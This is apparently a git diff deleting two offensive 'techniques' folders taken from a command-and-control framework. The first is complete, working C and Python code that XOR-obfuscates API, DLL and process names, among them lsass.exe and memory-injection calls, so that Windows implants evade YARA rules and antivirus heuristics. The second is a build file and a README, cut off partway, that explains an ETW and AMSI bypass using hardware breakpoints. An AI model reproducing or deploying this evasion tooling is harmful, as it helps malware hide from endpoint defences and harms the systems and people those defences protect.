diff --git a/techniques/evs-xor/Makefile b/techniques/evs-xor/Makefile deleted file mode 100644 index 5d899d3..0000000 --- a/techniques/evs-xor/Makefile +++ /dev/null @@ -1,36 +0,0 @@ -CC = x86_64-w64-mingw32-gcc -PY = python3 -CFLAGS = -O2 -Wall -Wextra \ - -Iinclude \ - -fno-asynchronous-unwind-tables \ - -fno-ident \ - -fno-stack-protector - -SRC = src/evs.c src/demo.c -OBJ = $(patsubst src/%.c, build/%.o, $(SRC)) -TARGET = build/demo.exe -HEADER = include/evs_strings.h - -all: $(HEADER) build $(TARGET) - -$(HEADER): strings.txt gen_evs.py - $(PY) gen_evs.py strings.txt -o $(HEADER) - -build: - mkdir -p build - -build/%.o: src/%.c $(HEADER) - $(CC) $(CFLAGS) -c $< -o $@ - -$(TARGET): $(OBJ) - $(CC) $(CFLAGS) $(OBJ) -o $@ - -# Rebuild with a new random key -rekey: - rm -f $(HEADER) - $(MAKE) - -clean: - rm -rf build $(HEADER) - -.PHONY: all rekey clean diff --git a/techniques/evs-xor/README.md b/techniques/evs-xor/README.md deleted file mode 100644 index 11e5391..0000000 --- a/techniques/evs-xor/README.md +++ /dev/null @@ -1,166 +0,0 @@ -# evs-xor - -Compile-time XOR string obfuscation for Windows implants. Prevents API/DLL name strings from appearing in `.rdata`, defeating static YARA rules that match literal API names. - -Extracted from [KHAOS C2](https://github.com/28Zaaky/khaos-c2). - ---- - -## The problem - -Any implant that calls `GetProcAddress(ntdll, "NtOpenProcess")` has the string `"NtOpenProcess"` sitting in `.rdata`. A two-line YARA rule catches every implant that uses that API by name. Same for `"AmsiScanBuffer"`, `"EtwEventWrite"`, `"lsass.exe"`, `"SeDebugPrivilege"`, etc. - -``` -strings build/implant.exe | grep NtOpenProcess - → NtOpenProcess ← instant YARA hit -``` - ---- - -## How EVS XOR solves it - -**Build time** (Python generator): - -1. `gen_evs.py` reads your string table (`strings.txt`). -2. Picks a random 1-byte XOR key (`secrets.randbelow(256)`, non-zero). -3. XOR-encodes each string byte-by-byte. -4. Writes `include/evs_strings.h` with static byte arrays + `EVS_KEY` define. - -Key changes on every build → every byte array changes → no static YARA rule survives a rebuild. - -**Runtime** (C decoder): - -```c -char buf[16] = {0}; -EVS_D(buf, EVS_dll_ntdll); // XOR decode "ntdll.dll" into buf at runtime -HMODULE h = GetModuleHandleA(buf); -SecureZeroMemory(buf, sizeof(buf)); // wipe from stack -``` - -**Why `noinline`:** - -One hundred `EVS_D()` calls inlined = one hundred short identical XOR loops in `.text`. ML-based AV heuristics flag high density of identical short loops as a packing / shellcode signature. `__attribute__((noinline))` keeps a single function body — one code pattern, not one hundred. - ---- - -## Usage - -### 1. Add strings to `strings.txt` - -``` -# Format: plaintext_value C_identifier_suffix - -ntdll.dll dll_ntdll -NtOpenProcess fn_NtOpenProcess -AmsiScanBuffer fn_AmsiScanBuffer -lsass.exe str_lsass -``` - -### 2. Generate header - -```bash -python gen_evs.py strings.txt -o include/evs_strings.h -# or just: make -``` - -Output: `include/evs_strings.h` with randomized key + encoded arrays. - -### 3. Include and use - -```c -#include "evs.h" -#include "evs_strings.h" - -// decode at the call site, use, wipe -char dll[16] = {0}; -EVS_D(dll, EVS_dll_ntdll); -HMODULE h = GetModuleHandleA(dll); -SecureZeroMemory(dll, sizeof(dll)); - -char fn[24] = {0}; -EVS_D(fn, EVS_fn_NtOpenProcess); -FARPROC p = GetProcAddress(h, fn); -SecureZeroMemory(fn, sizeof(fn)); -``` - -### Rebuild with new key - -```bash -make rekey # deletes evs_strings.h, regenerates with a new random key, rebuilds -``` - ---- - -## Build - -```bash -make -./build/demo.exe -``` - -Expected output: - -``` -[*] EVS_KEY = 0xCC (random per build — changes every make) - -[*] Encoded arrays in .rodata (no plaintext): - EVS_dll_ntdll A2 B8 A8 A0 A0 E2 A8 A0 A0 - EVS_fn_NtOpenProcess 82 B8 83 BC A9 A2 9C BE A3 AF ... - ... - -[*] Decoded at runtime: - dll: ntdll.dll - api: NtOpenProcess - api: EtwEventWrite - ... - -[+] GetModuleHandleA(ntdll.dll) = 0x00007ffe2fc40000 -[+] GetProcAddress(NtOpenProcess) = 0x00007ffe2fda0510 -[+] EVS XOR working — no plaintext strings, APIs resolved correctly -``` - -Verify no plaintext leaks: - -```powershell -$b = [IO.File]::ReadAllBytes("build\demo.exe") -$t = [Text.Encoding]::Latin1.GetString($b) -[regex]::Matches($t,'[!-~]{5,}') | Where Value -match "ntdll|NtOpen|AmsiScan" -# → 0 results -``` - ---- - -## gen_evs.py options - -``` -usage: gen_evs.py [strings.txt] [-o header.h] [-k 0xNN] - -positional: - strings.txt string table file (default: strings.txt) - -optional: - -o PATH output header path (default: include/evs_strings.h) - -k 0xNN fixed XOR key — useful for testing; random by default -``` - ---- - -## Limitations - -- **Single-byte XOR** — simple but sufficient to defeat static string matching. Not cryptographically strong. A determined analyst can brute-force 255 keys in milliseconds. The goal is defeating *static* AV/YARA, not a human analyst. -- **Key in binary** — `EVS_KEY` is a literal in the compiled binary. Visible in a hex dump. Sufficient for static scanning evasion; not for obfuscating against reverse engineering. -- **`SecureZeroMemory` is advisory** — compiler may optimize it away with LTO. Use `volatile` wipes or `explicit_bzero` in hardened production code. -- **Import table still names `KERNEL32.dll`** — any PE that calls `GetProcAddress` will. Replace with a PEB walk to eliminate even that reference. - ---- - -## Operational notes - -- **Stack buffer sizing**: `EVS_D(buf, EVS_foo)` writes `sizeof(EVS_foo) + 1` bytes. Allocate `sizeof(EVS_foo) + 1` minimum. -- **Thread safety**: `evs_dec()` is stateless — safe to call from multiple threads. -- **Integration with PEB walk**: pair EVS with a PEB module walker to resolve DLLs without any string in the import table or `.rdata`. -- **Integration with indirect syscalls**: EVS encodes Nt* function names passed to `sc_ssn()` — no plaintext syscall names appear even in the SSN resolver. - ---- - -*Part of [KHAOS C2](https://github.com/28Zaaky/khaos-c2) — by [28Zaaky](https://github.com/28Zaaky)* diff --git a/techniques/evs-xor/build/demo.exe b/techniques/evs-xor/build/demo.exe deleted file mode 100644 index 9320279..0000000 Binary files a/techniques/evs-xor/build/demo.exe and /dev/null differ diff --git a/techniques/evs-xor/build/demo.o b/techniques/evs-xor/build/demo.o deleted file mode 100644 index f94d843..0000000 Binary files a/techniques/evs-xor/build/demo.o and /dev/null differ diff --git a/techniques/evs-xor/build/evs.o b/techniques/evs-xor/build/evs.o deleted file mode 100644 index 675977a..0000000 Binary files a/techniques/evs-xor/build/evs.o and /dev/null differ diff --git a/techniques/evs-xor/gen_evs.py b/techniques/evs-xor/gen_evs.py deleted file mode 100644 index 17c2d6e..0000000 --- a/techniques/evs-xor/gen_evs.py +++ /dev/null @@ -1,114 +0,0 @@ -#!/usr/bin/env python3 -""" -gen_evs.py — compile-time XOR string obfuscator for Windows implants. - -Reads a two-column string table, encodes each string with a per-build -random XOR key, and writes a C header with static byte arrays. - -Usage: - python gen_evs.py [strings.txt] [-o include/evs_strings.h] [-k 0xNN] - -String table format: - plaintext_string C_identifier_suffix - # comment lines and blank lines are ignored - -Output: - C header with EVS_KEY define, EVS_[] arrays, and EVS_D() macro. - -Extracted from KHAOS C2 — https://github.com/28Zaaky/khaos-c2 -""" -import os -import sys -import secrets -import argparse - - -def encode(plaintext: str, key: int) -> list: - return [b ^ key for b in plaintext.encode("latin-1")] - - -def load_strings(path: str) -> list: - pairs = [] - with open(path) as f: - for line in f: - line = line.strip() - if not line or line.startswith("#"): - continue - parts = line.split() - if len(parts) < 2: - sys.exit(f"bad line in {path!r}: {line!r} (expected: plaintext identifier)") - pairs.append((parts[0], parts[1])) - return pairs - - -def main(): - ap = argparse.ArgumentParser(description=__doc__, - formatter_class=argparse.RawDescriptionHelpFormatter) - ap.add_argument("strings", nargs="?", default="strings.txt", - help="string table file (default: strings.txt)") - ap.add_argument("-o", default="include/evs_strings.h", - help="output header path (default: include/evs_strings.h)") - ap.add_argument("-k", default=None, metavar="0xNN", - help="fixed XOR key in hex (default: random per run)") - args = ap.parse_args() - - if args.k: - key = int(args.k, 16) & 0xFF - if key == 0: - sys.exit("key 0x00 is the XOR identity — use a non-zero value") - else: - key = secrets.randbelow(256) - while key == 0: - key = secrets.randbelow(256) - - pairs = load_strings(args.strings) - - lines = [ - "/* AUTO-GENERATED by gen_evs.py — do not edit.", - " * EVS_KEY is randomised every build; all byte arrays change.", - " * Defeats static YARA rules that match encoded API/DLL names.", - " */", - "#ifndef EVS_STRINGS_H", - "#define EVS_STRINGS_H", - "", - f"#define EVS_KEY 0x{key:02x}u", - "", - ] - - for plaintext, suffix in pairs: - enc = encode(plaintext, key) - arr = ", ".join(f"0x{b:02x}" for b in enc) - lines.append( - f"static const unsigned char EVS_{suffix}[{len(enc)}]" - f" = {{ {arr} }}; /* {plaintext} */" - ) - - lines += [ - "", - "/* Runtime XOR decoder — defined in src/evs.c.", - " * noinline: one code pattern in .text, not N inline XOR loops.", - " * ML-based AV heuristics flag many identical short loops;", - " * a single called function does not match that signature. */", - "#ifndef EVS_DEC_DECL", - "#define EVS_DEC_DECL", - "#include ", - "extern void evs_dec(char *out, const unsigned char *enc, size_t n);", - "#define EVS_D(out, arr) evs_dec((out), (arr), sizeof(arr))", - "#endif", - "", - "#endif /* EVS_STRINGS_H */", - "", - ] - - out_dir = os.path.dirname(args.o) - if out_dir: - os.makedirs(out_dir, exist_ok=True) - - with open(args.o, "w") as f: - f.write("\n".join(lines)) - - print(f"[ok] {args.o} key=0x{key:02x} {len(pairs)} strings encoded") - - -if __name__ == "__main__": - main() diff --git a/techniques/evs-xor/include/evs.h b/techniques/evs-xor/include/evs.h deleted file mode 100644 index 7157ac0..0000000 --- a/techniques/evs-xor/include/evs.h +++ /dev/null @@ -1,35 +0,0 @@ -#pragma once -#include - -/* - * EVS XOR — compile-time string obfuscation for Windows implants. - * - * Problem: strings like "ntdll.dll", "NtOpenProcess", "AmsiScanBuffer" in - * .rdata are direct YARA match targets — one rule catches every implant that - * touches these APIs by name. - * - * Solution: encode strings at compile time with a random per-build XOR key. - * No plaintext appears in .rdata. Key changes every build → static YARA fails. - * - * Workflow: - * 1. Add strings to strings.txt - * 2. Run: python gen_evs.py (auto-called by `make`) - * 3. #include "evs_strings.h" in files that need string decoding - * 4. Decode at runtime, use, then wipe: - * - * char buf[16] = {0}; - * EVS_D(buf, EVS_dll_ntdll); - * HMODULE h = GetModuleHandleA(buf); - * SecureZeroMemory(buf, sizeof(buf)); - * - * Runtime cost: one small XOR loop per decode call. - * Stack buffers for decoded strings are caller-managed. - */ - -/* Runtime decoder (defined in src/evs.c). - * __attribute__((noinline)) in the .c ensures one code pattern, not N copies. */ -void evs_dec(char *out, const unsigned char *enc, size_t n); - -/* Decode EVS_ array into caller-provided buffer. - * Buffer must be at least sizeof(EVS_) + 1 bytes (evs_dec appends NUL). */ -#define EVS_D(out, arr) evs_dec((out), (arr), sizeof(arr)) diff --git a/techniques/evs-xor/include/evs_strings.h b/techniques/evs-xor/include/evs_strings.h deleted file mode 100644 index e57dfac..0000000 --- a/techniques/evs-xor/include/evs_strings.h +++ /dev/null @@ -1,52 +0,0 @@ -/* AUTO-GENERATED by gen_evs.py do not edit. - * EVS_KEY is randomised every build; all byte arrays change. - * Defeats static YARA rules that match encoded API/DLL names. - */ -#ifndef EVS_STRINGS_H -#define EVS_STRINGS_H - -#define EVS_KEY 0xccu - -static const unsigned char EVS_dll_ntdll[9] = { 0xa2, 0xb8, 0xa8, 0xa0, 0xa0, 0xe2, 0xa8, 0xa0, 0xa0 }; /* ntdll.dll */ -static const unsigned char EVS_dll_kernel32[12] = { 0xa7, 0xa9, 0xbe, 0xa2, 0xa9, 0xa0, 0xff, 0xfe, 0xe2, 0xa8, 0xa0, 0xa0 }; /* kernel32.dll */ -static const unsigned char EVS_dll_kernelbase[14] = { 0x87, 0xa9, 0xbe, 0xa2, 0xa9, 0xa0, 0x8e, 0xad, 0xbf, 0xa9, 0xe2, 0xa8, 0xa0, 0xa0 }; /* KernelBase.dll */ -static const unsigned char EVS_dll_advapi32[12] = { 0xad, 0xa8, 0xba, 0xad, 0xbc, 0xa5, 0xff, 0xfe, 0xe2, 0xa8, 0xa0, 0xa0 }; /* advapi32.dll */ -static const unsigned char EVS_dll_amsi[8] = { 0xad, 0xa1, 0xbf, 0xa5, 0xe2, 0xa8, 0xa0, 0xa0 }; /* amsi.dll */ -static const unsigned char EVS_fn_NtOpenProcess[13] = { 0x82, 0xb8, 0x83, 0xbc, 0xa9, 0xa2, 0x9c, 0xbe, 0xa3, 0xaf, 0xa9, 0xbf, 0xbf }; /* NtOpenProcess */ -static const unsigned char EVS_fn_NtAllocateVirtualMemory[23] = { 0x82, 0xb8, 0x8d, 0xa0, 0xa0, 0xa3, 0xaf, 0xad, 0xb8, 0xa9, 0x9a, 0xa5, 0xbe, 0xb8, 0xb9, 0xad, 0xa0, 0x81, 0xa9, 0xa1, 0xa3, 0xbe, 0xb5 }; /* NtAllocateVirtualMemory */ -static const unsigned char EVS_fn_NtWriteVirtualMemory[20] = { 0x82, 0xb8, 0x9b, 0xbe, 0xa5, 0xb8, 0xa9, 0x9a, 0xa5, 0xbe, 0xb8, 0xb9, 0xad, 0xa0, 0x81, 0xa9, 0xa1, 0xa3, 0xbe, 0xb5 }; /* NtWriteVirtualMemory */ -static const unsigned char EVS_fn_NtProtectVirtualMemory[22] = { 0x82, 0xb8, 0x9c, 0xbe, 0xa3, 0xb8, 0xa9, 0xaf, 0xb8, 0x9a, 0xa5, 0xbe, 0xb8, 0xb9, 0xad, 0xa0, 0x81, 0xa9, 0xa1, 0xa3, 0xbe, 0xb5 }; /* NtProtectVirtualMemory */ -static const unsigned char EVS_fn_NtFreeVirtualMemory[19] = { 0x82, 0xb8, 0x8a, 0xbe, 0xa9, 0xa9, 0x9a, 0xa5, 0xbe, 0xb8, 0xb9, 0xad, 0xa0, 0x81, 0xa9, 0xa1, 0xa3, 0xbe, 0xb5 }; /* NtFreeVirtualMemory */ -static const unsigned char EVS_fn_NtCreateThreadEx[16] = { 0x82, 0xb8, 0x8f, 0xbe, 0xa9, 0xad, 0xb8, 0xa9, 0x98, 0xa4, 0xbe, 0xa9, 0xad, 0xa8, 0x89, 0xb4 }; /* NtCreateThreadEx */ -static const unsigned char EVS_fn_NtClose[7] = { 0x82, 0xb8, 0x8f, 0xa0, 0xa3, 0xbf, 0xa9 }; /* NtClose */ -static const unsigned char EVS_fn_NtReadVirtualMemory[19] = { 0x82, 0xb8, 0x9e, 0xa9, 0xad, 0xa8, 0x9a, 0xa5, 0xbe, 0xb8, 0xb9, 0xad, 0xa0, 0x81, 0xa9, 0xa1, 0xa3, 0xbe, 0xb5 }; /* NtReadVirtualMemory */ -static const unsigned char EVS_fn_NtContinue[10] = { 0x82, 0xb8, 0x8f, 0xa3, 0xa2, 0xb8, 0xa5, 0xa2, 0xb9, 0xa9 }; /* NtContinue */ -static const unsigned char EVS_fn_NtWaitForSingleObject[21] = { 0x82, 0xb8, 0x9b, 0xad, 0xa5, 0xb8, 0x8a, 0xa3, 0xbe, 0x9f, 0xa5, 0xa2, 0xab, 0xa0, 0xa9, 0x83, 0xae, 0xa6, 0xa9, 0xaf, 0xb8 }; /* NtWaitForSingleObject */ -static const unsigned char EVS_fn_NtPVM[22] = { 0x82, 0xb8, 0x9c, 0xbe, 0xa3, 0xb8, 0xa9, 0xaf, 0xb8, 0x9a, 0xa5, 0xbe, 0xb8, 0xb9, 0xad, 0xa0, 0x81, 0xa9, 0xa1, 0xa3, 0xbe, 0xb5 }; /* NtProtectVirtualMemory */ -static const unsigned char EVS_fn_RtlCaptureContext[17] = { 0x9e, 0xb8, 0xa0, 0x8f, 0xad, 0xbc, 0xb8, 0xb9, 0xbe, 0xa9, 0x8f, 0xa3, 0xa2, 0xb8, 0xa9, 0xb4, 0xb8 }; /* RtlCaptureContext */ -static const unsigned char EVS_fn_RtlUserThreadStart[18] = { 0x9e, 0xb8, 0xa0, 0x99, 0xbf, 0xa9, 0xbe, 0x98, 0xa4, 0xbe, 0xa9, 0xad, 0xa8, 0x9f, 0xb8, 0xad, 0xbe, 0xb8 }; /* RtlUserThreadStart */ -static const unsigned char EVS_fn_EtwEventWrite[13] = { 0x89, 0xb8, 0xbb, 0x89, 0xba, 0xa9, 0xa2, 0xb8, 0x9b, 0xbe, 0xa5, 0xb8, 0xa9 }; /* EtwEventWrite */ -static const unsigned char EVS_fn_EtwTiLogOpenProcess[19] = { 0x89, 0xb8, 0xbb, 0x98, 0xa5, 0x80, 0xa3, 0xab, 0x83, 0xbc, 0xa9, 0xa2, 0x9c, 0xbe, 0xa3, 0xaf, 0xa9, 0xbf, 0xbf }; /* EtwTiLogOpenProcess */ -static const unsigned char EVS_fn_EtwTiLogReadWriteVm[19] = { 0x89, 0xb8, 0xbb, 0x98, 0xa5, 0x80, 0xa3, 0xab, 0x9e, 0xa9, 0xad, 0xa8, 0x9b, 0xbe, 0xa5, 0xb8, 0xa9, 0x9a, 0xa1 }; /* EtwTiLogReadWriteVm */ -static const unsigned char EVS_fn_EtwTiLogDuplicateHandle[23] = { 0x89, 0xb8, 0xbb, 0x98, 0xa5, 0x80, 0xa3, 0xab, 0x88, 0xb9, 0xbc, 0xa0, 0xa5, 0xaf, 0xad, 0xb8, 0xa9, 0x84, 0xad, 0xa2, 0xa8, 0xa0, 0xa9 }; /* EtwTiLogDuplicateHandle */ -static const unsigned char EVS_fn_AmsiScanBuffer[14] = { 0x8d, 0xa1, 0xbf, 0xa5, 0x9f, 0xaf, 0xad, 0xa2, 0x8e, 0xb9, 0xaa, 0xaa, 0xa9, 0xbe }; /* AmsiScanBuffer */ -static const unsigned char EVS_fn_AmsiScanString[14] = { 0x8d, 0xa1, 0xbf, 0xa5, 0x9f, 0xaf, 0xad, 0xa2, 0x9f, 0xb8, 0xbe, 0xa5, 0xa2, 0xab }; /* AmsiScanString */ -static const unsigned char EVS_str_svchost[11] = { 0xbf, 0xba, 0xaf, 0xa4, 0xa3, 0xbf, 0xb8, 0xe2, 0xa9, 0xb4, 0xa9 }; /* svchost.exe */ -static const unsigned char EVS_str_explorer[12] = { 0xa9, 0xb4, 0xbc, 0xa0, 0xa3, 0xbe, 0xa9, 0xbe, 0xe2, 0xa9, 0xb4, 0xa9 }; /* explorer.exe */ -static const unsigned char EVS_str_lsass[9] = { 0xa0, 0xbf, 0xad, 0xbf, 0xbf, 0xe2, 0xa9, 0xb4, 0xa9 }; /* lsass.exe */ -static const unsigned char EVS_str_RuntimeBroker[17] = { 0x9e, 0xb9, 0xa2, 0xb8, 0xa5, 0xa1, 0xa9, 0x8e, 0xbe, 0xa3, 0xa7, 0xa9, 0xbe, 0xe2, 0xa9, 0xb4, 0xa9 }; /* RuntimeBroker.exe */ -static const unsigned char EVS_str_SeDebugPrivilege[16] = { 0x9f, 0xa9, 0x88, 0xa9, 0xae, 0xb9, 0xab, 0x9c, 0xbe, 0xa5, 0xba, 0xa5, 0xa0, 0xa9, 0xab, 0xa9 }; /* SeDebugPrivilege */ -static const unsigned char EVS_str_SeImpersonatePrivilege[22] = { 0x9f, 0xa9, 0x85, 0xa1, 0xbc, 0xa9, 0xbe, 0xbf, 0xa3, 0xa2, 0xad, 0xb8, 0xa9, 0x9c, 0xbe, 0xa5, 0xba, 0xa5, 0xa0, 0xa9, 0xab, 0xa9 }; /* SeImpersonatePrivilege */ - -/* Runtime XOR decoder defined in src/evs.c. - * noinline: one code pattern in .text, not N inline XOR loops. - * ML-based AV heuristics flag many identical short loops; - * a single called function does not match that signature. */ -#ifndef EVS_DEC_DECL -#define EVS_DEC_DECL -#include -extern void evs_dec(char *out, const unsigned char *enc, size_t n); -#define EVS_D(out, arr) evs_dec((out), (arr), sizeof(arr)) -#endif - -#endif /* EVS_STRINGS_H */ diff --git a/techniques/evs-xor/src/demo.c b/techniques/evs-xor/src/demo.c deleted file mode 100644 index 7bf327a..0000000 --- a/techniques/evs-xor/src/demo.c +++ /dev/null @@ -1,109 +0,0 @@ -#include "evs.h" -#include "evs_strings.h" -#include -#include -#include - -/* - * Demo: - * 1. Show that encoded arrays contain no plaintext bytes (strings tool finds nothing). - * 2. Decode at runtime via EVS_D(). - * 3. Resolve real APIs using decoded names — no plaintext string ever in .rdata. - * 4. Wipe decoded buffers with SecureZeroMemory after use. - * - * Verify no plaintext leaks: - * strings build/demo.exe | grep -iE "ntdll|NtOpen|AmsiScan" - * → no results expected - */ - -static void print_hex(const char *label, const unsigned char *arr, size_t n) -{ - printf(" %-28s ", label); - for (size_t i = 0; i < n && i < 10; i++) - printf("%02X ", arr[i]); - if (n > 10) printf("..."); - printf("\n"); -} - -int main(void) -{ - printf("[*] EVS_KEY = 0x%02X (random per build — changes every make)\n\n", EVS_KEY); - - /* --- Show raw encoded bytes: no plaintext recognizable --- */ - printf("[*] Encoded arrays in .rodata (no plaintext):\n"); - print_hex("EVS_dll_ntdll", EVS_dll_ntdll, sizeof(EVS_dll_ntdll)); - print_hex("EVS_fn_NtOpenProcess", EVS_fn_NtOpenProcess, sizeof(EVS_fn_NtOpenProcess)); - print_hex("EVS_fn_AmsiScanBuffer",EVS_fn_AmsiScanBuffer,sizeof(EVS_fn_AmsiScanBuffer)); - print_hex("EVS_fn_EtwEventWrite", EVS_fn_EtwEventWrite, sizeof(EVS_fn_EtwEventWrite)); - print_hex("EVS_str_lsass", EVS_str_lsass, sizeof(EVS_str_lsass)); - - /* --- Decode at runtime --- */ - printf("\n[*] Decoded at runtime:\n"); - - char dll_ntdll[16] = {0}; - char dll_kernel32[16] = {0}; - char dll_amsi[16] = {0}; - char fn_NtOpen[24] = {0}; - char fn_NtProt[28] = {0}; - char fn_EtwW[20] = {0}; - char fn_AmsiScan[20] = {0}; - char str_svchost[16] = {0}; - char str_lsass[16] = {0}; - char str_sedbg[24] = {0}; - - EVS_D(dll_ntdll, EVS_dll_ntdll); - EVS_D(dll_kernel32, EVS_dll_kernel32); - EVS_D(dll_amsi, EVS_dll_amsi); - EVS_D(fn_NtOpen, EVS_fn_NtOpenProcess); - EVS_D(fn_NtProt, EVS_fn_NtProtectVirtualMemory); - EVS_D(fn_EtwW, EVS_fn_EtwEventWrite); - EVS_D(fn_AmsiScan, EVS_fn_AmsiScanBuffer); - EVS_D(str_svchost, EVS_str_svchost); - EVS_D(str_lsass, EVS_str_lsass); - EVS_D(str_sedbg, EVS_str_SeDebugPrivilege); - - printf(" dll: %s\n", dll_ntdll); - printf(" dll: %s\n", dll_kernel32); - printf(" dll: %s\n", dll_amsi); - printf(" api: %s\n", fn_NtOpen); - printf(" api: %s\n", fn_NtProt); - printf(" api: %s\n", fn_EtwW); - printf(" api: %s\n", fn_AmsiScan); - printf(" process: %s\n", str_svchost); - printf(" process: %s\n", str_lsass); - printf(" privilege: %s\n", str_sedbg); - - /* --- Functional test: resolve real API via decoded name --- */ - printf("\n[*] API resolution via decoded names (no plaintext in IAT/rdata):\n"); - - HMODULE hntdll = GetModuleHandleA(dll_ntdll); - FARPROC fn_ntopen = hntdll ? GetProcAddress(hntdll, fn_NtOpen) : NULL; - FARPROC fn_ntprot = hntdll ? GetProcAddress(hntdll, fn_NtProt) : NULL; - FARPROC fn_etw = hntdll ? GetProcAddress(hntdll, fn_EtwW) : NULL; - - printf(" [%c] GetModuleHandleA(%s) = %p\n", - hntdll ? '+' : '!', dll_ntdll, (void *)hntdll); - printf(" [%c] GetProcAddress(%s) = %p\n", - fn_ntopen ? '+' : '!', fn_NtOpen, (void *)fn_ntopen); - printf(" [%c] GetProcAddress(%s) = %p\n", - fn_ntprot ? '+' : '!', fn_NtProt, (void *)fn_ntprot); - printf(" [%c] GetProcAddress(%s) = %p\n", - fn_etw ? '+' : '!', fn_EtwW, (void *)fn_etw); - - /* Wipe decoded strings — no plaintext lingers on the stack */ - SecureZeroMemory(dll_ntdll, sizeof(dll_ntdll)); - SecureZeroMemory(dll_kernel32, sizeof(dll_kernel32)); - SecureZeroMemory(fn_NtOpen, sizeof(fn_NtOpen)); - SecureZeroMemory(fn_NtProt, sizeof(fn_NtProt)); - SecureZeroMemory(fn_EtwW, sizeof(fn_EtwW)); - SecureZeroMemory(fn_AmsiScan, sizeof(fn_AmsiScan)); - SecureZeroMemory(str_lsass, sizeof(str_lsass)); - SecureZeroMemory(str_sedbg, sizeof(str_sedbg)); - - BOOL ok = hntdll && fn_ntopen && fn_ntprot && fn_etw; - printf("\n[%c] EVS XOR %s\n", ok ? '+' : '!', - ok ? "working — no plaintext strings, APIs resolved correctly" - : "FAIL — check output above"); - - return ok ? 0 : 1; -} diff --git a/techniques/evs-xor/src/evs.c b/techniques/evs-xor/src/evs.c deleted file mode 100644 index 1a456b9..0000000 --- a/techniques/evs-xor/src/evs.c +++ /dev/null @@ -1,21 +0,0 @@ -#include "evs.h" -#include "evs_strings.h" -#include - -/* - * Single XOR decoder — noinline so the compiler emits exactly one copy. - * - * Why noinline matters: - * 100+ EVS_D() calls with inline expansion = 100+ identical 3-instruction - * XOR loops scattered through .text. ML-based AV heuristics treat a high - * density of identical short loops as a shellcode-packing signature. - * One called function does not match that pattern. - */ -__attribute__((noinline)) -void evs_dec(char *out, const unsigned char *enc, size_t n) -{ - unsigned char k = EVS_KEY; - for (size_t i = 0; i < n; i++) - out[i] = (char)(enc[i] ^ k); - out[n] = '\0'; -} diff --git a/techniques/evs-xor/strings.txt b/techniques/evs-xor/strings.txt deleted file mode 100644 index 81fc581..0000000 --- a/techniques/evs-xor/strings.txt +++ /dev/null @@ -1,45 +0,0 @@ -# EVS string table — one entry per line: plaintext identifier_suffix -# Generated header will have EVS_ arrays. -# Run: python gen_evs.py (or make) - -# DLL names -ntdll.dll dll_ntdll -kernel32.dll dll_kernel32 -KernelBase.dll dll_kernelbase -advapi32.dll dll_advapi32 -amsi.dll dll_amsi - -# Nt* syscall stubs (ntdll) -NtOpenProcess fn_NtOpenProcess -NtAllocateVirtualMemory fn_NtAllocateVirtualMemory -NtWriteVirtualMemory fn_NtWriteVirtualMemory -NtProtectVirtualMemory fn_NtProtectVirtualMemory -NtFreeVirtualMemory fn_NtFreeVirtualMemory -NtCreateThreadEx fn_NtCreateThreadEx -NtClose fn_NtClose -NtReadVirtualMemory fn_NtReadVirtualMemory -NtContinue fn_NtContinue -NtWaitForSingleObject fn_NtWaitForSingleObject -NtProtectVirtualMemory fn_NtPVM - -# ntdll helpers -RtlCaptureContext fn_RtlCaptureContext -RtlUserThreadStart fn_RtlUserThreadStart - -# ETW / AMSI targets (EDR hooks these) -EtwEventWrite fn_EtwEventWrite -EtwTiLogOpenProcess fn_EtwTiLogOpenProcess -EtwTiLogReadWriteVm fn_EtwTiLogReadWriteVm -EtwTiLogDuplicateHandle fn_EtwTiLogDuplicateHandle -AmsiScanBuffer fn_AmsiScanBuffer -AmsiScanString fn_AmsiScanString - -# Common process names (injection targets) -svchost.exe str_svchost -explorer.exe str_explorer -lsass.exe str_lsass -RuntimeBroker.exe str_RuntimeBroker - -# Privilege names -SeDebugPrivilege str_SeDebugPrivilege -SeImpersonatePrivilege str_SeImpersonatePrivilege diff --git a/techniques/hwbp-evasion/Makefile b/techniques/hwbp-evasion/Makefile deleted file mode 100644 index 301b740..0000000 --- a/techniques/hwbp-evasion/Makefile +++ /dev/null @@ -1,27 +0,0 @@ -CC = x86_64-w64-mingw32-gcc -CFLAGS = -O2 -Wall -Wextra \ - -Iinclude \ - -fno-asynchronous-unwind-tables \ - -fno-ident \ - -fno-stack-protector -LDFLAGS = -lamsi - -SRC = src/hwbp_evasion.c src/demo.c -OBJ = $(patsubst src/%.c, build/%.o, $(SRC)) -TARGET = build/demo.exe - -all: build $(TARGET) - -build: - mkdir -p build - -build/%.o: src/%.c - $(CC) $(CFLAGS) -c $< -o $@ - -$(TARGET): $(OBJ) - $(CC) $(CFLAGS) $(OBJ) -o $@ $(LDFLAGS) - -clean: - rm -rf build - -.PHONY: all clean diff --git a/techniques/hwbp-evasion/README.md b/techniques/hwbp-evasion/README.md deleted file mode 100644 index 26ea7e5..0000000 --- a/techniques/hwbp-evasion/README.md +++ /dev/null @@ -1,120 +0,0 @@ -# hwbp-evasion - -ETW and AMSI bypass using hardware breakpoints and a Vectored Exception Handler (VEH). No patching, no memory writes to protected regions — the breakpoints live entirely in CPU debug registers. - -Extracted from [KHAOS C2](https://github.com/28Zaaky/khaos-c2). - ---- - -## How it works - -x64 debug registers `Dr0`–`Dr3` can each watch an address for execution. When the CPU hits a watched address, it raises `EXCEPTION_SINGLE_STEP` before executing the instruction. A VEH registered as the first handler in the chain intercepts that exception, manipulates the thread context, and returns `EXCEPTION_CONTINUE_EXECUTION` — the original function never executes. - -``` -hwbp_patch_all() - | - +-> resolve EtwEventWrite -> Dr0 - +-> resolve AmsiScanBuffer -> Dr1 - +-> resolve AmsiScanString -> Dr2 - +-> set Dr7 local enable bits - +-> AddVectoredExceptionHandler(1, _hwbp_veh) <- first in chain - -[AV calls AmsiScanBuffer] - | - +-> CPU fires EXCEPTION_SINGLE_STEP (Dr1 match) - | - +-> _hwbp_veh() - Rax = E_INVALIDARG (0x80070057) - Rip = [Rsp] <- skip to caller's return address - Rsp += 8 - Dr6 &= ~0x2 <- clear B1 status bit - return EXCEPTION_CONTINUE_EXECUTION - -[AmsiScanBuffer never executed — caller sees E_INVALIDARG] -``` - -Same logic for `EtwEventWrite` (returns `STATUS_SUCCESS`) and `AmsiScanString` (returns `E_INVALIDARG`). - ---- - -## Why hardware breakpoints - -Compared to memory patching (`mov rax, ret`) or inline hooks: - -- **No writes to protected pages** — no `VirtualProtect` calls that EDR hooks watch -- **No detectable byte modifications** in ntdll or amsi.dll — memory integrity scans find nothing -- **Per-thread** — debug registers are thread-local, so the bypass only applies to threads where `hwbp_apply_thread` is called 